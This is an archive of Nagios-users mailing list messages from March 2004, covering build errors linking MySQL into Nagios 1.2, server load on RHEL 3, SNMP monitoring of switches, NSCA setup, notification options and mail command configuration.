liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: From eolamey at ubisoft.qc.ca Tue Mar 9 21:48:21 2004 From: eolamey at ubisoft.qc.ca (Eric-Olivier Lamey) Date: Tue, 9 Mar 2004 15:48:21 -0500 Subject: High load on RHEL 3 Message-ID: Hi, We are using nagios 1.2 on a in-house rebuild of RHEL 3 AS on a Dell PowerEdge 2550 (2 x PIII 1G, 512M). We have around 700 services configured, with a 'normal_check_interval' at 3 minutes. Everything was working quite well on Mandrake 8.2 with the same hardware. Since we upgraded to RHEL 3, we are seeing loads up to 50 for a short period of time. The server runs only nagios. We tried nagios 1.1 and 1.2 with no luck. Decreasing the 'service_reaper_frequency' for 10 to 4 seems to have helped a little, but not enough. Would you have any idea for the high load ? Anyone using RHEL ? -- Eric-Olivier Lamey System administrator Ubisoft Montr?al ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From stephen.patterson at cjgarland.com Tue Mar 9 21:55:49 2004 From: stephen.patterson at cjgarland.com (Stephen Patterson) Date: 09 Mar 2004 20:55:49 +0000 Subject: Common SNMP switch/router monitors Message-ID: <1078865749.25939.11.camel@floyd> I've recently expanded our nagios configuration to include SNMP monitoring, and am just wondering what people commonly monitor on cisco switches/routers. The most obvious are uptime and CPU load, but what other stats might be useful? CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs? E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: From tom.brown at goodtechnology.com Tue Mar 9 22:25:41 2004 From: tom.brown at goodtechnology.com (Tom Brown) Date: Tue, 9 Mar 2004 21:25:41 -0000 Subject: ongoing issues - Nagios 1.2 - Fedora Core 1 Message-ID: <005a01c4061d$1303f060$0d0aa8c0@laptop> Hi, I'm still trying to get Nagios, Fedora and MySQL to play happy together. I seem to configure OK but as soon as i try and make it bombs. Below is my configure and the error thrown when i 'make all' ./configure --prefix=/opt/nagios-1.2 --with-nagios-user=nagios --with-nagios-grp=nagios --with-mail=/bin/mail --with-mysql-lib=/opt/mysql/lib --with-mysql-inc=/opt/mysql/include --with-gd-lib=/opt/gd/lib --with-gd-inc=/opt/gd/include --with-cgiurl=/nagios/cgi-bin --with-htmurl=/nagios --enable-embedded-perl --with-perlcache --with-init-dir=/etc/rc.d/init.d --with-lockfile=/opt/nagios-1.2/var/nagios.lock --with-mysql-xdata --with-mysql-status --with-mysql-comments --with-mysql-extinfo --with-mysql-retention --with-mysql-downtime This runs fine however a 'make all' throws the following (sorry for the long paste) # make all cd ./base && make make[1]: Entering directory `/home/tom/source/nagios-1.2/base' gcc -g -O2 -I/opt/mysql/include -I/opt/gd/include -D_REENTRANT -D_GNU_SOURCE -DTHREADS_HAVE_PIDS -DDEBUGGING -fno-strict-aliasing -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm -I/usr/lib/perl5/5.8.3/i386-linux-thread-multi/CORE -DHAVE_CONFIG_H -DNSCORE -L/opt/mysql/lib -L/opt/gd/lib -lmysqlclient nagios.c checks.o config.o commands.o flapping.o logging.o notifications.o sehandlers.o utils.o sretention.o ../xdata/xrddb.c ../common/comments.c ../xdata/xcddb.c ../common/objects.c ../xdata/xodtemplate.c ../common/statusdata.c ../xdata/xsddb.c perfdata.o ../xdata/xpddefault.c ../common/downtime.c ../xdata/xdddb.c -rdynamic -Wl,-rpath,/usr/lib/perl5/5.8.3/i386-linux-thread-multi/CORE -L/usr/local/lib /usr/lib/perl5/5.8.3/i386-linux-thread-multi/auto/DynaLoader/DynaLoader.a -L/usr/lib/perl5/5.8.3/i386-linux-thread-multi/CORE -lperl -lnsl -ldl -lm -lcrypt -lutil -lpthread -lc -lm -o nagios /tmp/ccwNa87n.o(.text+0x378): In function `xrddb_initialize': ../xdata/xrddb.c:215: undefined reference to `mysql_init' /tmp/ccwNa87n.o(.text+0x3f2): In function `xrddb_connect': ../xdata/xrddb.c:252: undefined reference to `mysql_real_connect' /tmp/ccwNa87n.o(.text+0x40f):../xdata/xrddb.c:254: undefined reference to `mysql_close' /tmp/ccwNa87n.o(.text+0x464): In function `xrddb_disconnect': ../xdata/xrddb.c:299: undefined reference to `mysql_close' /tmp/ccwNa87n.o(.text+0x47c): In function `xrddb_query': ../xdata/xrddb.c:329: undefined reference to `mysql_query' /tmp/ccwNa87n.o(.text+0xd5c): In function `xrddb_read_program_information': ../xdata/xrddb.c:850: undefined reference to `mysql_store_result' /tmp/ccwNa87n.o(.text+0xd86):../xdata/xrddb.c:854: undefined reference to `mysql_fetch_row' /tmp/ccwNa87n.o(.text+0xe4c):../xdata/xrddb.c:867: undefined reference to `mysql_free_result' /tmp/ccwNa87n.o(.text+0xf00): In function `xrddb_read_host_information': ../xdata/xrddb.c:951: undefined reference to `mysql_store_result' /tmp/ccwNa87n.o(.text+0xf2a):../xdata/xrddb.c:951: undefined reference to `mysql_fetch_row' /tmp/ccwNa87n.o(.text+0x10ec):../xdata/xrddb.c:1004: undefined reference to `mysql_free_result' /tmp/ccwNa87n.o(.text+0x1178): In function `xrddb_read_service_information': ../xdata/xrddb.c:1129: undefined reference to `mysql_store_result' /tmp/ccwNa87n.o(.text+0x11a2):../xdata/xrddb.c:1129: undefined reference to `mysql_fetch_row' /tmp/ccwNa87n.o(.text+0x13f1):../xdata/xrddb.c:1195: undefined reference to `mysql_free_result' /tmp/ccwimMFA.o(.text+0x37c): In function `xcddb_initialize': ../xdata/xcddb.c:234: undefined reference to `mysql_init' /tmp/ccwimMFA.o(.text+0x3ee): In function `xcddb_connect': ../xdata/xcddb.c:259: undefined reference to `mysql_real_connect' /tmp/ccwimMFA.o(.text+0x40b):../xdata/xcddb.c:261: undefined reference to `mysql_close' /tmp/ccwimMFA.o(.text+0x460): In function `xcddb_disconnect': ../xdata/xcddb.c:303: undefined reference to `mysql_close' /tmp/ccwimMFA.o(.text+0x478): In function `xcddb_query': ../xdata/xcddb.c:329: undefined reference to `mysql_query' /tmp/ccwimMFA.o(.text+0x5c0): In function `xcddb_validate_host_comments': ../xdata/xcddb.c:477: undefined reference to `mysql_store_result' /tmp/ccwimMFA.o(.text+0x5d9):../xdata/xcddb.c:477: undefined reference to `mysql_fetch_row' /tmp/ccwimMFA.o(.text+0x66c): In function `xcddb_validate_service_comments': ../xdata/xcddb.c:566: undefined reference to `mysql_store_result' /tmp/ccwimMFA.o(.text+0x685):../xdata/xcddb.c:566: undefined reference to `mysql_fetch_row' /tmp/ccwimMFA.o(.text+0x7fa): In function `xcddb_save_host_comment': ../xdata/xcddb.c:748: undefined reference to `mysql_insert_id' /tmp/ccwimMFA.o(.text+0x9ca): In function `xcddb_save_service_comment': ../xdata/xcddb.c:847: undefined reference to `mysql_insert_id' /tmp/ccXxf6jB.o(.text+0x3e8): In function `xsddb_initialize': ../xdata/xsddb.c:253: undefined reference to `mysql_init' /tmp/ccXxf6jB.o(.text+0x462): In function `xsddb_connect': ../xdata/xsddb.c:286: undefined reference to `mysql_real_connect' /tmp/ccXxf6jB.o(.text+0x47f):../xdata/xsddb.c:288: undefined reference to `mysql_close' /tmp/ccXxf6jB.o(.text+0x4e4): In function `xsddb_disconnect': ../xdata/xsddb.c:335: undefined reference to `mysql_close' /tmp/ccXxf6jB.o(.text+0x4fc): In function `xsddb_check_connection': ../xdata/xsddb.c:363: undefined reference to `mysql_errno' /tmp/ccXxf6jB.o(.text+0x525):../xdata/xsddb.c:369: undefined reference to `mysql_close' /tmp/ccXxf6jB.o(.text+0x664): In function `xsddb_query': ../xdata/xsddb.c:463: undefined reference to `mysql_query' /tmp/ccRMUPPF.o(.text+0x37c): In function `xdddb_initialize': ../xdata/xdddb.c:234: undefined reference to `mysql_init' /tmp/ccRMUPPF.o(.text+0x3ee): In function `xdddb_connect': ../xdata/xdddb.c:259: undefined reference to `mysql_real_connect' /tmp/ccRMUPPF.o(.text+0x40b):../xdata/xdddb.c:261: undefined reference to `mysql_close' /tmp/ccRMUPPF.o(.text+0x460): In function `xdddb_disconnect': ../xdata/xdddb.c:303: undefined reference to `mysql_close' /tmp/ccRMUPPF.o(.text+0x478): In function `xdddb_query': ../xdata/xdddb.c:329: undefined reference to `mysql_query' /tmp/ccRMUPPF.o(.text+0x57d): In function `xdddb_validate_host_downtime': ../xdata/xdddb.c:473: undefined reference to `mysql_store_result' /tmp/ccRMUPPF.o(.text+0x595):../xdata/xdddb.c:473: undefined reference to `mysql_fetch_row' /tmp/ccRMUPPF.o(.text+0x651): In function `xdddb_validate_service_downtime': ../xdata/xdddb.c:587: undefined reference to `mysql_store_result' /tmp/ccRMUPPF.o(.text+0x669):../xdata/xdddb.c:587: undefined reference to `mysql_fetch_row' /tmp/ccRMUPPF.o(.text+0x80a): In function `xdddb_save_host_downtime': ../xdata/xdddb.c:788: undefined reference to `mysql_insert_id' /tmp/ccRMUPPF.o(.text+0x9e2): In function `xdddb_save_service_downtime': ../xdata/xdddb.c:887: undefined reference to `mysql_insert_id' /tmp/ccRMUPPF.o(.text+0xc11): In function `xdddb_read_host_downtime': ../xdata/xdddb.c:1107: undefined reference to `mysql_store_result' /tmp/ccRMUPPF.o(.text+0xc35):../xdata/xdddb.c:1107: undefined reference to `mysql_fetch_row' /tmp/ccRMUPPF.o(.text+0xd17):../xdata/xdddb.c:1116: undefined reference to `mysql_free_result' /tmp/ccRMUPPF.o(.text+0xd34):../xdata/xdddb.c:1149: undefined reference to `mysql_free_result' /tmp/ccRMUPPF.o(.text+0xd89): In function `xdddb_read_service_downtime': ../xdata/xdddb.c:1238: undefined reference to `mysql_store_result' /tmp/ccRMUPPF.o(.text+0xdad):../xdata/xdddb.c:1238: undefined reference to `mysql_fetch_row' /tmp/ccRMUPPF.o(.text+0xe93):../xdata/xdddb.c:1247: undefined reference to `mysql_free_result' /tmp/ccRMUPPF.o(.text+0xeb0):../xdata/xdddb.c:1280: undefined reference to `mysql_free_result' collect2: ld returned 1 exit status make[1]: *** [nagios] Error 1 make[1]: Leaving directory `/home/tom/source/nagios-1.2/base' make: *** [all] Error 2 What can i di to try and resolve this - I really need to have MySQL support compiled in to Nagios. If i exclude the MySQL config then it will compile OK. thanks for any help - suggestions so far seem to have not got me anywhere. Tom -------------- next part -------------- An HTML attachment was scrubbed... URL: From matt.pounsett at cira.ca Tue Mar 9 22:28:49 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 9 Mar 2004 16:28:49 -0500 (EST) Subject: 2-way notification In-Reply-To: <1078833669.22118.50.camel@linus> References: <1078833669.22118.50.camel@linus> Message-ID: On Tue, 9 Mar 2004, Ricardo Manuel Oliveira wrote: > We've added a sms gateway to send some notifications via SMS, but we'd > rather receive only the first HOST DOWN and the HOST UP notifications > via SMS. I'm having a bit of trouble configuring different notification > options, since I can't seem to configure these in the > contact/contactgroups definitions (these are defined on a host/service > basis). I haven't tried this myself yet, but some people have reported good success using escalations to get behaviors like this. -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Tue Mar 9 22:30:02 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 9 Mar 2004 16:30:02 -0500 (EST) Subject: Nagios 1.2 - What OS In-Reply-To: <1ac301c405d8$db877920$0401a8c0@tomspc> References: <1ac301c405d8$db877920$0401a8c0@tomspc> Message-ID: On Tue, 9 Mar 2004, Tom Brown wrote: > As i seem to be having so many problems with Nagios and Fedora Core 1 can i > please ask what RedHat based OS would be 'best' to run Nagios on? > It just does not seem to like being compiled on Fedora. Tom, I'm successfully using it on EdgeServer 3.0, RedHat 7.3, and Advanced Server 3.0. I also ran 1.1 on Advanced Server 2.1 -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From GWCOOK at mactec.com Tue Mar 9 22:29:39 2004 From: GWCOOK at mactec.com (Cook, Garry) Date: Tue, 9 Mar 2004 14:29:39 -0700 Subject: Common SNMP switch/router monitors Message-ID: <41FD7929498A174DAB86C45F28E0EC0D3EA37B@golden-m.mactec.com> I also monitor memory usage on these devices. On routers I use check_ifstatus and check_ifoperstatus to monitor interfaces as well. Garry W. Cook, CCNA Network Infrastructure Manager MACTEC, Inc. - http://www.mactec.com/ 303.308.6228 (Office) - 720.220.1862 (Mobile) -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of Stephen Patterson Sent: Tuesday, March 09, 2004 1:56 PM To: 'nagios-users at lists.sourceforge.net' Subject: [Nagios-users] Common SNMP switch/router monitors I've recently expanded our nagios configuration to include SNMP monitoring, and am just wondering what people commonly monitor on cisco switches/routers. The most obvious are uptime and CPU load, but what other stats might be useful? CJ Garlands IT Dept. Stephen Patterson ________________________________________________________________________ CJ GARLAND & CO LIMITED DISCLAIMER This e-mail and any files transmitted with it is confidential and intended solely for the use of the individuals or organisations to whom it is addressed. If you are not the intended recipient you must not open any attachment, copy, distribute or disseminate the information nor take any action on the basis of it; please notify the sender and delete the original e-mail from your system(s). Opinions and conclusions expressed in this e-mail are those of the author and are not necessarily those of CJ Garland & Co Limited unless otherwise indicated by an authorised representative independently of this message. Copyright in this e-mail and any attachments remains with CJ Garland & Co Limited. This message has been scanned for known viruses by MessageLabs E-mail Security System on behalf of CJ Garland & Co Limited. Recipients are strongly advised to conduct their own virus checks on all parts of this communication upon receipt. All liability of the sender for any loss incurred as a result of virus infection or other destructive elements is excluded to the fullest extent permitted by law. -------------- next part -------------- An HTML attachment was scrubbed... URL: From DavidB at etobin.com Tue Mar 9 22:30:42 2004 From: DavidB at etobin.com (David Barnett) Date: Tue, 9 Mar 2004 15:30:42 -0600 Subject: NSCA server connect issue Message-ID: I am running NSCA on my nagios server, and have it configured to listen on port 80. Under the allowed_hosts, I have it set to *. I setup the client to send packet to port 80 by doing the following: echo 0 | send_nsca -p 80 -H When I run the above command, I get "Error: Server closed connection before init packet was received Error: Could not read init packet from server" What else do I have to do to configure NSCA to work correctly? NSCA is running on the server. Thanks for your help David -------------- next part -------------- An HTML attachment was scrubbed... URL: From daniel at unity.ncsu.edu Tue Mar 9 22:46:51 2004 From: daniel at unity.ncsu.edu (Daniel Henninger) Date: Tue, 9 Mar 2004 16:46:51 -0500 (EST) Subject: ongoing issues - Nagios 1.2 - Fedora Core 1 In-Reply-To: <005a01c4061d$1303f060$0d0aa8c0@laptop> References: <005a01c4061d$1303f060$0d0aa8c0@laptop> Message-ID: > # make all cd ./base && make make[1]: Entering directory > `/home/tom/source/nagios-1.2/base' gcc -g -O2 -I/opt/mysql/include > -I/opt/gd/include -D_REENTRANT -D_GNU_SOURCE -DTHREADS_HAVE_PIDS > -DDEBUGGING -fno-strict-aliasing -I/usr/local/include > -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -I/usr/include/gdbm > -I/usr/lib/perl5/5.8.3/i386-linux-thread-multi/CORE -DHAVE_CONFIG_H > -DNSCORE -L/opt/mysql/lib -L/opt/gd/lib -lmysqlclient nagios.c checks.o > config.o commands.o flapping.o logging.o notifications.o sehandlers.o > utils.o sretention.o ../xdata/xrddb.c ../common/comments.c > ../xdata/xcddb.c ../common/objects.c ../xdata/xodtemplate.c > ../common/statusdata.c ../xdata/xsddb.c perfdata.o ../xdata/xpddefault.c > ../common/downtime.c ../xdata/xdddb.c -rdynamic > -Wl,-rpath,/usr/lib/perl5/5.8.3/i386-linux-thread-multi/CORE > -L/usr/local/lib > /usr/lib/perl5/5.8.3/i386-linux-thread-multi/auto/DynaLoader/DynaLoader.a > -L/usr/lib/perl5/5.8.3/i386-linux-thread-multi/CORE -lperl -lnsl -ldl > -lm -lcrypt -lutil -lpthread -lc -lm -o nagios This is an ordering issue I believe. (I ran into this as well) note how -lmysqlclient is before .. pretty much everything else. It ought to go at the end, otherwise things that require it's symbols don't find them. This only occured for me under Linux for some reason.. never had this problem under Solaris. Solaris put the -lmysqlclient and flags in the correct location. Anyway, you'll need to edit some Makefiles. ;) Daniel -- /\\\----------------------------------------------------------------------///\ \ \\\ Daniel Henninger http://www.vorpalcloud.org/ /// / \_\\\ North Carolina State University - Systems Programmer ///_/ \\\ Information Technology /// """--------------------------------------------------------------""" ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Tue Mar 9 22:42:48 2004 From: pla at softflare.com (Paul L. Allen) Date: Tue, 09 Mar 2004 21:42:48 +0000 Subject: From: ? In-Reply-To: <002801c40606$9f8af130$8601a8c0@ishmael> References: <002801c40606$9f8af130$8601a8c0@ishmael> Message-ID: <20040309214248.19991.qmail@minnow.softflare.net> Mohamed S. writes: > Hmmm the machine has qmail-send on it, /usr/bin/mail works as well...so > im guessing it's using the mail() function to send.. If you look in misccommands.cfg you will find out exactly what it is using. Which, unless you have altered it, will be the mail program (not function). An alternative to using mail would be qmail's replacement for sendmail. It accepts sendmail's -t option to take the from and to address from the body of the mail. It also accepts sendmail's -f option so you can specify the envelope sender (that way bounces end up somewhere useful). I think you don't need the -oi option and that the qmail version does that by default (but doesn't complain if you use it) - but you'd better check that yourself. Anyone who wants to use the real sendmail and is paranoid OUGHT to use the -oi option, unless sendmail has finally made that the default to prevent exploits of CGI scripts - I haven't used real sendmail for anything serious for three years, so I don't know if it still needs the -oi or not (I'd put it in to be safe, but that's because I used to worry about people exploiting sendmail). Without the -oi, somebody could manage to arrange for plugin output to have a bare . in the middle with what follows being a shell command. OK, it would run as nagios, so the worst it could do is trash your nagios installation after grabbing /etc/passwd (is there any distro that doesn't use shadow passwords these days?). But it's very easy to add -oi, a lot easier than examining every plugin in great detail to see if somebody could control part of the output. Another option would be to change misccommands.cfg to call a custom shell or perl script to send your mail using whatever esoteric means you wish. You can get really creative that way. :) -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From matt.pounsett at cira.ca Tue Mar 9 22:47:03 2004 From: matt.pounsett at cira.ca (Matt Pounsett) Date: Tue, 9 Mar 2004 16:47:03 -0500 (EST) Subject: Trouble activating extended host info In-Reply-To: <21878.1078827309@www15.gmx.net> References: <21878.1078827309@www15.gmx.net> Message-ID: On Tue, 9 Mar 2004, Andreas Gaul wrote: > Hello, > > I have some troble activating the extended host information and -graphics. > This is what i've already done: Perhaps I've missed something in the docs, but I don't recall anything about extinfo being able to use .gif images on the status map. As far as I'm aware, the 2d statusmap_image must be a .gd2 file. > > cgi.cgf: > xedtemplate_config_file=/etc/nagios/hostextinfo.cfg > > hostextinfo.cfg: > define hostextinfo{ > host_name PC1 > icon_image pc.gif > icon_image_alt pc.gif > statusmap_image pc.gif > vrml_image pc.png > 3d_coords 50.0,40.0,75.0 > statusmap_image nagios.gd2 > } > > I have check the images, they reside in /usr/local/nagios/share/images/logos > and are accessible when i call them via Browser > (http://nagios/images/logos/pc.gif). > > Unfortunately, i don't see any changes in the Frontend after reload or > restart. > What i can i do else to acitvate the customized graphcs ? > > Thanks, > > Andreas > > -- Matt Pounsett CIRA - Canadian Internet Registration Authority Technical Support Programmer 350 Sparks Street, Suite 1110 matt.pounsett at cira.ca Ottawa, Ontario, Canada 613.237.5335 ext. 231 http://www.cira.ca ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 9 22:55:29 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 16:55:29 -0500 (EST) Subject: plugins In-Reply-To: <8A542229726CD711A63600508BB3D3EC201C3E@scntxms1.sss> References: <8A542229726CD711A63600508BB3D3EC201C3E@scntxms1.sss> Message-ID: There are no single mib objects that can give you link utilization outside of RMON sampling that I am aware of. Not in the standards or in the enterprises branch. The recommended method for monitoring utilization is to use an external tool like Cricket/Cacti/MRTG and then check that or have it emit notifications via snmp traps when crossing thresholds. -sg On Mon, 1 Mar 2004, Yiannis Zimianitis wrote: > That's fine. That works and I implemented it. It refers to the CPU load but > my question was about the link utilization > > Thanks yiannis. > -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 9 22:56:47 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 16:56:47 -0500 (EST) Subject: notification_options meanings In-Reply-To: <3D7547773EDFF441B60286F4089B1C7535A5E4@VEGA1.aspectcapital.com> References: <3D7547773EDFF441B60286F4089B1C7535A5E4@VEGA1.aspectcapital.com> Message-ID: On Mon, 1 Mar 2004, Gavin Bartle wrote: > Hi Folks, > > I might have missed it in the docs but I just wondering what the > notification_options letters mean , c,r etc > > I'm sure its out there , I did look but cant find the info > warning, critical, unknown, recovery, unreachable. -- ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 9 23:22:24 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 17:22:24 -0500 (EST) Subject: Window event viewer In-Reply-To: <00b501c400a2$2df501f0$eb07a8c0@pedellwin2k> References: <00b501c400a2$2df501f0$eb07a8c0@pedellwin2k> Message-ID: Hi Rudy I have taken the guts of the naplax eventlog package and converted it into a pure plugin - no agent required. However you do need to execute it from a Win32 perl environment. I achieved that my pushing out all the win32 plugins to a Windows server running NREP_NT and calling them there. You can specify the remote host, log, and number of "backtrack" seconds. It looks for log entries that exist in the backtrack interval and then does the usual regex. My recommendation for the backtrack interval is 1.7x the check_interval Also you will want to treat this as a volatile I'll have it posted on SF today. new name: check_win32_eventlog.pl -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 9 23:24:37 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 17:24:37 -0500 (EST) Subject: Service dependencies In-Reply-To: References: Message-ID: On Wed, 3 Mar 2004, Martinez Gonzalez, Francisco wrote: > > Hello, > > I have a doubt about the service dependencies: > > I know that the service dependiencies (I read in the documentation) only can > suppress notifications and active checks of services based on the status of > one or more other services (cut&paste :)), but in the web interface it does > not happen anything, the status of the dependent service is OK (0). > > I want that when the service that is being depended upon fails, the > dependent service show in STATE CRITICAL (red) in the web interface. > > Is that posible? How do it? > > Many thanks. > Not yet - service dependencies are new and the web interface will be reflected with the UI re-write. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From sghosh at sghosh.org Tue Mar 9 23:25:50 2004 From: sghosh at sghosh.org (Subhendu Ghosh) Date: Tue, 9 Mar 2004 17:25:50 -0500 (EST) Subject: check_telnet not found. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EEA304@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EEA304@blr-sjp-msg.wipro.com> Message-ID: On Thu, 4 Mar 2004 prabhu.anandh at wipro.com wrote: > Hi friends, > I didn't find the check_telnet in libexec/ folder nor I find the > check_telnet in the plugins/ folder in nagios-plugins source directory. > For your information I am using plugins 1.4 alpha version .doesnt it > have check_telnet.i can instead use check_ssh but I want to know whether > it is depreciated or not included in 1.4 version. > Any ideas will be greatly appreciated. > regards, > Prabhu Anandh > Never had a check_telnet - telnet is bad :) However, check_tcp -p 23 should work just fine. -- -sg ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ZalafR at Leadingedgegroup.com.au Tue Mar 9 23:34:30 2004 From: ZalafR at Leadingedgegroup.com.au (Rabbie Zalaf) Date: Wed, 10 Mar 2004 09:34:30 +1100 Subject: Status Changing Message-ID: <5237E8DD31703E4B8F18DE416229C8C0C281AF@legsydms01.leadingedgegroup.com.au> Hi All, I have nagios configured to do some RADUIS checking and have a script configured to do this. What I wish to do is to set Nagios to: Execute script ----- OK = OK | --- Not OK = Status: Warning | Execute script again | ---- OK = Status: OK | ---- Still Not OK = Status: CRITICAL How would I go about doing this as currently all I know how to do is to set it to CRITICAL apon failure. Thanks for all your help in advance. Regards, Rabbie Zalaf Network Consultant Leading Edge Internet 02 9497 4024 http://www.leadingedgeinternet.net.au -----BEGIN GEEK CODE BLOCK----- VERSION: 3.1 GIT d++ s:>s-:- a22 C++++ L U+++ P+ L+++>$L+++++ E--- W+++ w-- M-- t+++ G++ -----END GEEK CODE BLOCK----- This document together with any attachments is confidential and is intended for the named recipient only. It can not be copied, disclosed, passed on or duplicated in any way 